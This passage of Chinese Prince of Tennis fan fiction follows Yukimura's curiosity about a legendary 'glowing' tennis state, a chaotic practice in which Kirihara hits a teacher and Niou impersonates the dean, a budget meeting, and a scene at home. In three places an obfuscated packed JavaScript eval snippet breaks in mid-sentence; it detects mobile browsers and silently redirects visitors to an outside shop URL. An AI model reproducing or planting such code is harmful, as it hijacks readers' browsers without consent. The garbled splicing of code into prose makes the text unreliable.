传说中的天衣无缝之极限,由网坛传奇越前南次郎所创,据说是抛开胜负、纯粹享受网球本身所带来的极致快乐才能抵达的境界。但自越前南次郎十几年前退出网坛,这传说便再未于职业赛场现身。相关传闻不少,可亲眼见证者不过寥寥。 幸村自己国小便开启了无我境界,也曾好奇尝试触碰那传说中的更深层领域。他自认天赋足够,对网球的热爱不逊于任何人,十年来未有懈怠,却始终未能摸到所谓天衣无缝的门槛,也从未见过任何人、哪怕是那些活跃网坛的职业选手也未曾开启过天衣无缝的大门。久而久之,只能将其归为夸张的传说。 直到今天,这位相识的前辈站在面前,用如此确凿的语气告诉他:那是真的。 毛利简直像遇到了知音,”对啊,我当时也觉得很夸张,但,今年元日我不是跟着叔叔他们回了一趟大阪吗?恰好遇到了四天宝寺的原哲也前辈,你还记得他吧?” 幸村点头。四天宝寺是关西豪强,他对原哲也自然有印象。 “他神神秘秘地把我拉到一边,眼睛亮得吓人,说他见过有人打球时开启了天衣无缝,全身都在发光!” “……发光?” 幸村擦汗的动作顿住了,手里的毛巾差点没拿稳。他转过头,脸上的游刃有余出现了短暂的裂痕,紫罗兰色的眼睛里写满了“前辈你认真的吗?”以及一丝“我是不是误入了凹凸曼片场?”的茫然。 这实在有点超出他对网球——乃至对正常运动表现的认知范畴了。 “……前辈已经过了看特摄片的年纪,对吧?”幸村试探地询问。 “喂喂喂!”毛利不满。 幸村艰难地点头,接上毛利的话,“好的,发光。” “对!发光!”毛利见他终于听进去了,急忙比划,“原前辈说得很清楚,就是整个人笼罩在一层淡淡的光晕里!站在对面看得清清楚楚!” 幸村沉默了足足三秒。他闭了闭眼,像在消化这个过于奇幻的信息,再睁开时,眼底那份荒谬感被强行压了下去。 “我明白了。”他的声音恢复了平稳,仿佛刚才的错愕从未发生,“请继续,前辈。” 毛利见幸村听进去了,精神一振,努力回忆着原哲也当时的表情和语气,“原前辈说,那光看着很舒服,不刺眼。可站在对面打球就完全不是那么回事了——你会觉得自己的斗志、集中力,甚至力气,都像被那光不知不觉地化掉了,提不起劲。对面那个人呢?好像根本不在乎输赢,就只是……纯粹快乐。但你费尽心思打过去的球,他可能随手一回,而回击偏偏就打在你最难受的地方……” “快乐?”幸村敏锐地捕捉到这个关键词。 “嗯,据说就是打网球最原始、最忘我的快乐。”毛利的声音低了些,带上复杂情绪,“原前辈说,四天宝寺天天把‘快乐网球’挂在嘴边,可那种会发光的快乐,好像从来没人真正达到过……反而在别人身上看到了。” 毛利的语气里有困惑,有怅然,或许还有一丝身为四天宝寺出身者的微妙不甘。 幸村沉默了。 追求快乐的网球吗? 夜风更凉了,吹过两人汗湿后微冷的身体。幸村看着毛利难得显露的、混合追忆与迷茫的神色,心中了然。这不只是对更高境界的好奇,或许还缠绕着对旧日母校某种理念的未竟情怀。 “所以,”幸村开口,语气平和如常,“前辈最近避开晨训,是想脱离立海大的固定框架,去试着触碰那种更自由、更‘快乐’的感觉?想验证天衣无缝是否真实,以及……自己能否靠近?” “算是吧。”毛利抓了抓湿漉漉的红发,表情苦恼,“其实我也觉得有点不自量力。我连无我境界都没打开过,就好高骛远追求传说中的天衣无缝。但这些天我一直在想原前辈那句话——” ‘如果是因为快乐而开启的境界,为什么四天宝寺没有一个人曾经踏足过呢?是不是我们都太过愚钝?如果小毛利还在四天宝寺,是不是就能开启这传说中的境界呢?’ 夕阳落寞的余晖里,原哲也懊丧却强撑微笑的表情,再次浮现在毛利眼前。 “所以我不停尝试,想办法去感受快乐……但我好像完全没办法领悟那种境界。”毛利喃喃自语。 两人又陷入了一片沉默,过了片刻,幸村主动开口:“前辈感觉到快乐了吗?” 毛利点点头,又摇摇头:“最开始挺快乐的。我真的不喜欢晨训,大清早人还没清醒就要跑圈,又累又饿。不参加晨训,我就能在自己想打球的时间自由地打。” 幸村没有插话,只是安静地听着。他微微侧首,目光落在毛利脸上,月光让那份坦诚显得格外清晰。他看见前辈提起“自由”时,眼中确实闪过如释重负的光,但紧接着,又沉淀下某种更复杂的、连当事人自己都未必完全明了的空茫。 “一个人瞎练,是挺自在,也没什么压力。可有时候,对着墙打球,或者看海发呆久了,又觉得空落落的,少了点什么。”毛利坦诚道,“刚来立海大时,我特别不习惯。大家都很努力,呆在这样的环境里压力好大。但当我一个人训练时,又会想起网球部里的大家……其实每天和那群家伙勾心斗角,偶尔……” 他飞快瞥了幸村一眼,“……想着怎么才能在你手下多撑一会儿。这种每天被推着往前、较劲之后赢下比赛的感觉,好像……也挺快乐的。” 毛利发出点自嘲的笑声,“原前辈把我想的太厉害了,我好像连快乐的定义都弄不明白,更别说开启传说中的天衣无缝了。” 幸村静静地听着,月光与灯光在他脸上交织出柔和的轮廓。片刻,他轻轻呼出一口气,仿佛做出了决定。 “快乐的定义是什么?这个问题太哲学了,我没有办法回答前辈。”幸村的声音清晰而平稳,“但,如果追寻那种境界是你认为重要的事,那么晨训时间,我可以批准你自由支配。” 毛利猛地抬头,眼里满是惊讶。幸村完全不是他预想中的任何一种反应。 “这是你网球道路的一部分。只要条件允许,我不会干涉。”幸村的话锋却转折得干脆利落,毫无余地,“但下午的部活——所有团队合练、战术时间、比赛准备——是立海大的时间。是团队磨砺、为共同胜利负责的时间。这份责任,高于任何个人追寻。” 他紫色的眼眸直视毛利,目光沉静却如有实质:“这是立海大的铁则,也是我的底线。” 幸村顿了顿,语气平静得像在陈述客观规律:“如果前辈想连这份基本责任也回避,那么办法只有一个。” “……什么?”毛利下意识追问。 “打败我,成为部长。”幸村说,理所当然,不容置疑,“规则,理应由最强者制定。只要我还是部长,这条规则就不会改变。” 毛利愣了几秒,肩膀垮下来,发出一声拖长的哀叹:“喂……我怎么可能赢你啊……” “只是陈述事实。”幸村站起身,拿起自己的东西,“今天不早了,前辈也早点回去休息吧。” “……是是是,部长大人。”毛利有气无力地应着,龇牙咧嘴地爬起来。 …… 当幸村终于写完作业、完成部活日志的记录,夜色已深。 他拖着疲惫的身体爬上床,思维却无视身体的困倦,开始自由发散。 幸村平躺在黑暗里,睁着眼睛。脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013154|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中反复回响着那些词汇:发光、纯粹的快乐、消融斗志、忘我……今天接收到的信息量太大了,大到几乎足以颠覆他对网球本身的认知。 凌晨两点,幸村还是翻来覆去睡不着。 他索性坐起身,拧开台灯。暖黄光晕照亮他毫无睡意的脸。 幸村打开笔记本电脑,开始搜索。关键词:“天衣无缝之极限”、“网球发光”、“无我境界天衣无缝”、“快乐网球”…… 网络信息芜杂,多的是粉丝论坛的传说与臆测,缺乏可靠来源。 幸村微微蹙眉,转而查阅相关文献,试图将“极致快乐”、“全神贯注”、“忘我”这些描述与“天衣无缝”的概念进行比对,试图用理性框架去理解那个玄妙的传说。直到窗外天色泛起鱼肚白,他才揉了揉干涩的眼睛,关掉电脑。 结论寥寥,疑问却更深了。 天衣无缝,究竟是真实存在的更高层境界,还是仅仅是对某种特殊竞技状态的夸张描述? 由快乐开启的境界…… 快乐网球……吗? 带着一夜未眠的倦意与满脑子的问号,幸村迎来了新的一天。 …… 立海大附属中学,网球部晨训时间。幸村身披队服外套,准时出现在场边,姿态一如既往的优雅从容。 只是,细心之人或许能察觉,他眼下有极淡的、睡眠不足的青影。 而他的脸上,挂着一种弧度完美、无可挑剔的微笑。 晨训时,他微笑着监督队员们跑圈、练习基础动作。即使面对被他微笑吓得忘记动作的部员,那笑容也纹丝不动。 午饭时间,遇见结伴的柳生和仁王,他微笑着点头,还温和地提醒了试图恶作剧的仁王。微笑依旧标准。 下午部活前,在部室与柳核对训练计划,他全程保持着那抹微笑,点头、应和、提出细节调整——一切如常,只是幸村微笑像是焊在了脸上。 …… 多球练习开始。 幸村负责喂球。他的喂球依旧精准得可怕,充分锻炼每个人的技术弱点。给丸井的网前球恰到好处,给桑原的底线球角度刁钻,给真田的回球需要全力应对…… 唯一的问题是,无论他打出多么折磨人的球,脸上那抹温和的微笑都纹丝不动。 打出让真田都后退的压线深球?微笑。 用削球骗过丸井?微笑。 连续调动桑原满场飞奔?还是微笑。 那微笑美丽、无懈可击,但看久了,难免让人心底发毛。 丸井又一次扑空后,蹭到胡狼身边,压低声音:“桑原……部长今天是面瘫了吗?”为什么一直在笑啊…… 胡狼擦擦汗,偷偷瞥了一眼:“是有点……而且,部长昨晚没休息好吧?黑眼圈好像有点重?” “puri~”仁王在一旁懒洋洋地搭腔,“谁惹幸村了?今天他笑一天了,看得人发毛。” 真田难得赞同仁王的观点。作为幸村的幼驯染,他从未见过幸村如此异常。 不远处,一直闭目记录的柳莲二笔尖微微一顿。他当然察觉了幸村诡异的微笑,但更让他在意的是,幸村偶尔会看着空中飞过的网球,眼神出现极短暂的放空,仿佛在思考与眼前训练完全无关的事。 在网球的事上走神,这种事情发生在幸村身上本就极其罕见。 柳莲二停下笔,缓缓睁开眼睛。平静无波的眸光扫过场上微笑着的部长,又扫过在场所有正选。 他声音不高,却足以让附近几个竖起耳朵的人听清: “精市今日的异常状态,综合判断,有96.8%的概率源于昨晚发生的某件事情。” 他顿了顿,语气没有丝毫起伏,却让周围的空气温度似乎下降了几度: “目前数据不足,无法锁定事件源或责任人。但是,”柳合上本子,徒手捏断了那支用于日常记录的圆珠笔,“如果能确认是谁导致精市出现这种状态,我认为,有必要与其进行一次深入的交流。” 言下之意,清晰而冰冷。 刚刚结束一组练习、走过来喝水的毛利寿三郎,脚步猛地一滞,手里的运动饮料瓶差点脱手。他僵硬地、缓缓地转过头,正好对上柳莲二那双仿佛能穿透一切迷雾的眼睛。 毛利:“……” 他立刻、假装无比自然地转回头,拧开瓶盖仰头猛灌,用豪饮的动作完美掩饰了瞬间加速的心跳和背后可能冒出的冷汗。 救命……军师好可怕! 9. 快乐网球(二) 幸村的尝试在切原赤也的月亮球不小心砸到路过的英语老师后宣告破产,享年不到48小时。 虽然相关涉事人员都得到了严厉的批评,但秉承着“死道友不死贫道”优良传统的网球部众人,纷纷松了口气。 ——毕竟,部长脸上那焊死了般的微笑和副部长那堪比精神攻击的狞笑,总算可以告一段落了。 要想说清楚这件事,时间得倒退回一天之前,还是那条熟悉的三巨头放学之路。 海风吹拂的坡道上,真田的眉头拧得比平时更紧,柳的笔记本也合上了——两人都敏锐地察觉到了幸村持续一整天的异常状态。 “精市,”柳率先开口,声音平稳却带着不容回避的探究,“你今天的情绪表现与基准线存在显著偏差。持续微笑时长异常,且与情境关联度低于日常平均值73.5%。发生了什么事吗?” 真田在一旁沉声补充,帽檐下的目光锐利:“训练时也有不必要的走神。不要松懈!” 被左右夹击的幸村停下脚步,月光落在他带着浅淡笑意的脸上。他看了看两位挚友脸上如出一辙的严肃,沉吟片刻,决定坦白从宽。 “其实,”他紫色的眼眸里闪过一丝难得外露的兴味,“我在尝试快乐网球。” 真田:“……?” 柳:“???” 幸村进一步解释:“或者说,是想通过调整心态,亲身感受一下那种更纯粹、更享受网球本身的状态……看看能不能对触及某种传说中的境界有所帮助。” 他没直接说出“天衣无缝”四个字,但真田和柳瞬间就明白了。 真田的表情空白了一瞬,随即变得极为复杂,像是想起了什么不堪回首的往事:“……你国小六年级时,不是亲口说过无我境界不过如此,不过是本能支配的粗糙爆发吗?” 怎么现在连更玄乎的天衣无缝都研究上了? 柳则推了推眼镜,镜片后的眼睛似乎微微睁开了一条缝:“精市,你相信那个……传说?” 数据主义者的灵魂在发出谨慎的质疑。 “实践出真知嘛。”幸村微笑,那笑容在此刻显得格外有说服力,“而且,独乐乐不如众乐乐。弦一郎,莲二,要不要一起试试?探索网球的不同可能性,也是修行的一部分。” 柳沉默了三秒,迅速做出了对他而言最合理的选择:“作为对照组参与观察,或许能更客观地记录实验数据,避免主观偏差。我就不必参与了。” 军师大人机智地为自己豁免了微笑营业的义务。 真田:“……” 真田张了张嘴,试图找出一个像柳那样无懈可击的理由。 然而,在幸村温和却不容拒绝的注视下,在柳数据需要的科学光环下,他那颗正直过头的脑子一时宕机,没能成功编出借口。 于是,第二天,网球部的大家惊恐地发现,微笑出现了人传人现象。 不同于容貌昳丽、笑起来如春风拂面的部长,真田弦一郎的微笑堪称一场灾难。那努力向上牵扯的嘴角,与他习惯性紧抿的唇线、蹙起的眉头以及帽檐下锐利的目光形成了极端矛盾的气场,组合成一种黑着脸笑的恐怖景象。 这尊活体雕塑往场边一站,效果立竿见影:一年级生跑圈同手同脚,二年级生接发球频频下网,连一些三年级生都感觉背后发凉,击球动作不自觉僵硬了几分。 小动物们纷纷作鸟兽散,能离副部长的监督区域多远就多远。 然而,总有人是躲不开的。 下午的基础发球练习,切原赤也被安排在了真田监督区域相邻的场地。当他抱着球拍,战战兢兢地试图在副部长那死亡微笑的凝视下完成一组高质量发球时,心理压力终于突破了阈值。 “切原赤也!动作要标准!精神要集中!太松懈了!”真田低沉的声音如同惊雷炸响,配合着他那扭曲的狞笑,显得非常可怖。 切原一个激灵,手一抖,抛球高度莫名失控,引拍动作也跟着变形。本该凌厉精准的高速发球,变成了一个又高又飘、轨迹诡异的“月亮球”。 黄色的小球划着离谱的弧线,高高越过球网,飞越了球场那并不低的围栏,在所有人目瞪口呆的注视下,如同被命运之手牵引,不偏不倚地—— “砰!” 砸在了一位正捧着教案、沿林荫道匆匆走过的中年女教师头上。 英语科,中岛老师,以严谨和略有些古板著称。 更巧合的是,她正是切原赤也所在班级的英语老师。 时间仿佛凝固了。 中岛老师被砸得一个趔趄,眼镜歪斜,教案散落一地。她扶正眼镜,摸了摸迅速泛红的额角,脸色以肉眼可见的速度由白转红,再由红转青。她锐利的目光瞬间锁定了球飞来的方向,以及球场上那个保持着可笑挥拍姿势、脸色惨白如纸的海带头一年级生。 她认得这个学生。上课总走神,作业错误百出,名字和脸都对得上——切原赤也。网球部的围栏那么高,这球还能如此精准地越过障碍砸中自己,由不得她不怀疑这皮猴子是不是蓄意…… 虽然理智告诉她可能性不大,但怒火中烧时难免多想。 “你——!”中岛老师的声音因愤怒和疼痛而拔高,“切原赤也!你这是故意的吗?!” “对、对对对对不起!!中岛老师我不是故意的!!”切原瞬间变成了一个彻底慌神的海带头,语无伦次,手里的球拍都快拿不稳了,“是副部长……不,是我自己没控制好!真的非常抱歉!!”他下意识想往真田身后躲,却被真田那仍未褪去的恐怖微笑吓得僵在原地,进退维谷,看起来更像做贼心虚。 场面一度十分混乱。其他部员纷纷停下练习,探头张望,窃窃私语。 就在中岛老师怒气冲冲地准备上前“教育”这个看起来就毛手毛脚、还疑似“蓄意报复”的刺头学生时,一个严肃而略显尖利、带着明显训斥口吻的女声插了进来: “切原赤也!太不像话了!练习时间注意力如此涣散,竟然将球打到场外,还惊扰了路过的老师!立刻向中岛老师鞠躬道歉!回去后绕场五十圈,不,一百圈!深刻反省!” 只见一位穿着得体套装、梳着一丝不苟发髻、戴着细框眼镜、面容严肃的女士,不知何时出现在了切原身旁,眼神犀利,姿态威严——正是立海大学生们又敬又畏的教导主任,松本主任的形象。 这其实是仁王雅治。 他不知何时溜到了附近,眼看切原要倒大霉,灵机一动,瞬间伪装成了松本主任的模样。必须承认,他的伪装技术无可挑剔,从发型衣着到神态语气都惟妙惟肖,足以以假乱真。 切原看着眼前熟悉的“松本主任”,忙不迭地鞠躬:“主任对不起!我错了!我这就去跑圈!” 中岛老师被这突如其来的“松本主任”弄得一愣,怒火稍歇。 然而,没等仁王继续发挥他精湛的演技,一个真正冰冷、严肃、带着难以置信怒气的熟悉女声,如同惊雷般在他身后炸响: “仁、王、雅、治——!” 真正的松本主任,本尊,正抱着手臂站在几步开外,脸色阴沉得能滴出水来,镜片后的眼睛死死盯着这个胆大包天、竟敢公然冒充自己的小子。 她当然知道网球部的仁王擅长模仿,去年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013155|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的海原祭,仁王的模仿秀还曾风靡一时。但松本主任怎么都没想到这小子居然敢胆大包天地模仿自己! 只能说,仁王的运气实在差了点,偏偏在作案时被正主撞了个正着。 仁王:“……puri?” 身体瞬间僵硬,完美的幻象波动了一下,差点维持不住。银色发丝下的额头渗出了冷汗。 完了。 翻车了。 撞到正主了。 于是,事件性质迅速从“一年级生训练失误袭击老师”,升级为“一年级生训练失误袭击老师 + 二年级生胆大包天假冒师长的严重违纪行为”。 松本主任气得手指发抖,指着仁王和切原:“你们两个!立刻跟我到教导处来!太不像话了!立海大的校风校纪……” 就在切原眼前发黑、仁王开始飞速思考如何狡辩时,一个温和清越的声音适时响起,打破了几乎凝成实质的紧张空气。 “松本主任,中岛老师,非常抱歉,是我管理部员不严,训练中出了这样的意外,惊扰了两位老师。” 幸村精市不知何时已走了过来。他脸上那持续了两天的微笑此刻已然收起,换上了惯常的、令人如沐春风的温和神情,带着恰到好处的歉意与诚恳。 他先是向捂着额角、余怒未消的中岛老师郑重道歉,并表示会立刻安排陪同前往医务室检查,随后才转向脸色铁青的松本主任。 “仁王君的行为确实严重不当,我会对他进行严厉的部内处分,并责令他深刻检讨。”幸村语气沉稳,紫罗兰色的眼眸清澈而真诚,“切原的失误也反映了我们基础训练和纪律教育仍有不足。作为部长,我责无旁贷。之后一定加强管理,避免再发生此类事件。还请主任看在他们已知错且并非故意冒犯师长的份上,从轻发落,给他们一个改正的机会。” 松本主任的目光落在幸村脸上。少年身姿挺拔,态度不卑不亢,道歉诚恳,承担责任干脆,那张精致的面孔上此刻满是令人难以真正动怒的诚挚。 看着这张脸,她胸中那团因被冒犯和部下违纪而燃起的怒火,竟奇异地消散了大半,某种更为复杂的情绪取而代之。她沉默了片刻,严厉的神色终究缓和了些许。 她重重哼了一声,语气依旧带着训斥,但已不如先前疾言厉色:“幸村君,你一直是识大体的。这次的事情,影响很不好!尤其是仁王,太胡闹了!还有切原,训练时怎么能如此莽撞!” “是,主任教训的是。我们一定深刻反省,加强管教。”幸村微微躬身,态度无可指摘。 最终,在松本主任“下不为例”的严厉警告和幸村的斡旋下,处罚定为:切原赤也和仁王雅治各自提交一份不少于一千字的深刻检讨,次日放学前交到教导处和网球部各一份。同时,网球部内部需进行追加处罚。 风波暂息。中岛老师在幸村的陪同下去了医务室,检查后确认并无大碍,幸村再次诚挚道歉。松本主任最后狠狠瞪了仁王和切原一眼,这才转身离开。 待老师们走远,幸村转过身,面对着一脸劫后余生的切原和故作镇定但眼神游移的仁王。他脸上那令人如沐春风的温和慢慢淡去,恢复了平静无波的表情。 “好了,你们两位,”幸村的目光扫过他们,“检讨要认真写。另外,部内的追加处罚——” 他看向切原:“作为主犯,切原,你未来一周的训练量,翻三倍。真田会亲自监督。” 目光转向仁王:“仁王,下周体能训练,翻倍。现在开始。 “诶——?!三倍?!” “puri……我就知道。” 哀嚎与认命的声音同时响起。 10. 正选会议 部活结束的哨声响起时,夕阳已将天边染成一片温暖的橘红。八个球场上,汗水浸透衣衫的少年们陆续停下动作,疲惫而满足地开始收拾器材。一号球场边缘,真田弦一郎低沉严厉的训导声终于告一段落,切原赤也如同从水里捞出来一般,瘫坐在地上大口喘气。 不远处的跑道上,仁王雅治完成了最后一个惩罚性圈数,几乎是拖着脚步挪到场边树荫下,然后毫无形象地直接仰面躺倒在草地上,银色的发丝沾满了草屑和尘土,胸膛剧烈起伏。 “puri……感觉……灵魂……要升天了……” 丸井文太吹着泡泡溜达过来,蹲在他旁边,用球拍轻轻戳了戳他的肩膀:“哟~狐狸,还活着吗?” 柳生比吕士也走了过来,手里拿着两瓶未开封的运动饮料。 他先将其中一瓶递给正挣扎着爬起来的切原。 切原愣了一下,才慌忙接过,用蚊子般的声音说了句“谢谢前辈。” 然后柳生才走到仁王身边,微微蹙眉看着地上摊成一团的搭档。 “仁王君,你现在的状态实在称不上雅观。”柳生平静地说道,声音里带着惯常的、一丝不苟的绅士腔调。 “即使再疲惫,基本的仪态也应当维持。另外,及时补充水分是必要的,除非你想因为脱水而错过接下来的会议。” 仁王连抬手接水的力气都懒得出,就着柳生的手勉强喝了两口,才翻了个白眼:“比吕士……你就不能说点……好听的……比如‘辛苦了’之类的……puri……” “陈述事实而已。”柳生简短地回答,却也没有走开。 他的姿态依旧笔挺,镜片后的目光平静,但那种无声的陪伴,本身就是一种支持。 另一边,三年级的前辈们也在收拾东西。 椿宗一郎的目光落在远处正被真田勒令去捡球、虽然脚步虚浮却依然照做的切原身上,又看了看这边被丸井调侃、被柳生数落的仁王,脸上露出一丝温和的笑意。 他碰了碰身旁的柊慎之介,低声道:“柊,你看。” 场地上,切原艰难地收拾起了散落的网球,有几个一年级的学生围着看了一会,然后实在看不过去,帮着一起捡球。 柊顺着他的目光看去,也明白了他的意思,笑了笑:“那小子……算是慢慢摸到点边了吧?虽然方式惨烈了点。” “是啊,”椿的声音里带着感慨,“一开始谁都看不惯他的张狂和毛躁,现在……虽然还是让人头疼,但至少这份咬牙硬撑的劲头,受了罚也认的性子,倒是开始有点像个立海大网球部的人了。” 他看到柳生给切原递水,看到有一年级帮助切原捡球,看到其他部员经经过时投向切原的目光里,已经少了许多最初的排斥。 “走了,开会。”毛利寿三郎打了个哈欠,拎起自己的球拍袋,率先朝着部活室的方向晃悠过去。 ……. 部活室里,灯光驱散了黄昏的晦暗。 人员陆续到齐。 幸村精市坐在主位,神色平静。真田和柳分坐两侧。 柳生将一瓶水放在仁王面前,仁王已经勉强把自己组装回了椅子上,但依旧像没了骨头一样靠着椅背。 丸井还在小声和桑原嘀咕着什么。 这间部活室网球部已经使用了很多年。靠墙的储物柜塞得满满当当,上层摆满了历年部活日志——过去二十年里,不乏像幸村一样有记录习惯的部长。此外,还有十几个县大赛奖杯、几个关东大赛奖杯,以及那座最为醒目的全国大赛金奖杯,共同挤占了每一寸空间,让本就有限的房间显得更加拥挤局促。身材高大的毛利寿三郎缩在椅子里,长腿有些无处安放。 幸村的目光扫过这略带凌乱的景象,几不可察地停顿了一下,指尖轻轻点了点桌面。 …… 会议开始,柳先对即将开始的县大赛做了一些基本的分析。 即使立海大对于县大赛堪称降维打击,但柳莲二还是仔细地收集好了所有对手的情报,一一进行分析——数据详尽到对方正选早餐喜欢吃什么口味的饭团。 分析告一段落,柳翻开了笔记本的另一页,语调平稳:“接下来,通报一项本季度重要事务。场地维护与器材损耗预算,使用率已达百分之九十五点三,严重超标。” “按照网球部的惯例,县大赛和关东大赛前我们都要进行采购,”柳露出一个有点绝望的微笑,“再这样下去,网球部就要宣告破产了。” 真田皱眉:“去年全国大赛夺冠后,学校不是拨了一笔丰厚的活动经费吗?” “如果你少用几次侵略如火的话,我们现在的预算应该是充裕的。” 真田的身体一僵。 “网球部的资金原本充足,”柳继续解释,声音平静得像在读实验报告,“但人均训练强度全国第一,网球、拍线、场地维护……都是消耗品。在加上最近某些不必要的场地维护费用,我们现在确实已经到了捉襟见肘的地步。” 幸村轻轻敲了敲桌面:“莲二,之前提到的家长开放日,各社团不是有活动经费和奖金吗?如果能争取到……” “根据往年数据,如果能在开放日活动中获得最佳社团展示奖,奖金足以覆盖本季度超支部分。” 学生会秘书长·柳生比吕士无情戳破幻想:“很遗憾,今年家长开放日一切从简。学生会今早刚通过的决议——不设社团展台评比,不发放专项奖金,仅开放参观。” 部活室里一片死寂。 丸井眨眨眼,还没完全理解现状:“那个……我们真的穷到这种地步了吗?” 柳重新翻开笔记本,用机械的语调朗诵着笔记本上的数据: “风林火山,对底线涂层的累积应力损伤贡献率约28%。” 真田继续僵硬。 “毛利前辈的垂直扣杀,造成的点状破损修复费用占比约22%。” 毛利心虚地抓了抓红发。 “柊前辈追求极限压线深球的习惯,导致边线磨损加速,占比约15%。” 柊慎之介轻咳一声,端起水杯喝了一口。 柳的目光扫过其余人。 他没有一个个点出来,但每个人都感到了一阵微妙的心虚—— 丸井想起自己上周打坏的那张球网,桑原摸了摸后脑勺想起救球时在场上留下的擦痕,仁王则默默缩了缩脖子。 一切尽在不言中。 “部长,”仁王真诚的发问,“你打算什么时候成为偶像,来挽救即将破产的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013156|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网球部?” 回应他的是真田毫不留情地制裁。 “好了,”围观完两人的打闹,幸村适时开口,“县大会在即,必要的采购也不能耽误。这周末我和莲二去先去采购吧。” “根据数据,东京新开的Racquet Palace正在做开业促销,同等品质的器材价格比市场低15%到20%。”柳显然早就做好了功课。 “Racquet Palace,好浮夸的名字。”有人小声吐槽。 幸村没理会,转而看向真田,“弦一郎,部里的常规训练就拜托你了。” “交给我。”真田应道。 正事告一段落,幸村的目光再次掠过拥挤的房间,尤其在毛利局促的长腿上停留了一瞬。 “说起来,上个学期,网球部关于新部活室的申请,学校方面原则上已经批准。” 众人眼睛一亮。 “但是,”幸村话锋一转,声音沉稳,“因为近期的某些小问题,拨款流程被暂时搁置,需要我们从长计议。” 仁王心虚。 “不过,”幸村紫眸中凝聚起笃定的光芒,“如果今年我们能再度夺取关东、全国冠军,达成两连霸,并且向学校充分证明我们是一支实力与纪律并存的队伍……那么,我想,新的部活室,将是我们赢得的最理所当然的奖赏之一!” “立海大二连霸,毫无死角!” …… 部活室渐渐安静下来,最后只剩下幸村一人。 在每个召开正选会议的日子里,幸村总是走的最晚的那一个。 尽管真田和柳提过等他,但都被幸村一句“没必要”挡了回去。 核查会议记录,更新部活日志,本来就是独属于网球部部长的责任。 幸村收拾着桌上的文件,将部活日志放回抽屉里的时候,看见了一个熟悉的白色信封。 幸村愣了一下,他几乎忘了它的存在。 他取出那个精致的白色信封。指尖摩挲过London, UK的烫金字样,然后轻轻抽出了信纸。 台灯的光晕笼罩着工整的英文词句。里面的内容,幸村不知道看过多少次,早已熟稔于心。目光平静地扫过,不再有初读时的波澜,也没有深夜里反复权衡的沉重。 一种清晰的释然,如同月光穿透云层,无声地落在他心底。 最后一次,他仔细地将信纸按照原有折痕叠好,动作轻缓得像是在完成一个微小的仪式。 有那么一瞬间,幸村指尖停顿,似乎考虑过将它彻底收起或处理掉。 但最终,他只是将信笺妥帖地放回信封,然后顺手将它夹进了手边那本厚厚的网球部专用笔记本的内页里。深蓝色的硬壳封面合拢,将那抹白色悄然掩盖。 做完这一切,他关掉台灯。黑暗温柔地淹没房间。 幸村背起书包,里面装着笔记本,也装着那个被平静归档的选择。他最后看了一眼夜色中的部活室,锁门离开。 脚步声在空旷的走廊里回荡,平稳而清晰。 远方道路的星光或许依然璀璨,但他脚下的路,已然坚定地向着眼前的赛场和与同伴们的约定延伸而去。 幸村的步伐平稳,融入了立海大沉静的夜色之中。 11. 幸村一家 幸村刚刚掏出钥匙时,门就从里面打开了。 “哥哥今天又晚了三十八分钟!” 幸村诗织站在门口,双手叉腰——准确地说,是两只浅粉色的小兔子爪子叉在腰间。她穿着一身毛茸茸的兔子连体睡衣,帽子上有两只长长的耳朵,随着她仰头的动作,其中一只耳朵软软地垂下来,蹭到了脸颊。 “最近网球部的事情实在太多啦,对不住啦,兔子小姐。” “哼哼,”小姑娘装模作样地哼了几声,又绷不住笑了。 幸村弯腰抱起这只小兔子,诗织配合的搂住他脖子,温软的小身体带着孩童特有的温暖。 “诗织怎么知道哥哥回来了?”幸村边走边问,顺手带上门。 “我在窗边看到的!”诗织的兔子耳朵蹭到他脸颊,“看到哥哥从坡道下面走上来,就跑来开门了!等了……唔,等了好——久——” 她拖长声音,带着点娇气的抱怨。 “抱歉抱歉,”幸村揉了揉小女孩软软的头发,“周末哥哥要去东京,到时候给你带好吃的。” “哼哼,这还差不多。” 感应灯自动熄灭,又被脚步声唤醒,重新亮起时,照亮了玄关墙上那幅巨大的油画。 画框是深色胡桃木,几乎占满了整面墙。画中的幸村由香里坐在庭院的长椅上,秋日的阳光透过枫叶洒在她身上,在她美丽的长发上跳跃。她笑得眉眼弯弯,穿着简单的白色针织衫和牛仔裤——那是她最常穿的居家服。九岁的幸村精市靠在她怀里,紫罗兰色的眼睛里盛满笑意。还是婴儿的诗织在她膝上睡觉,小拳头握得紧紧的,脸颊肉嘟嘟的。 这幅画是父亲幸村雅彦的作品。 幸村还记得画刚完成时,父亲小心翼翼把它搬回家,在墙上比划位置的样子。 更记得画挂上去的第一个星期,自己每次经过时都恨不得低头快走。 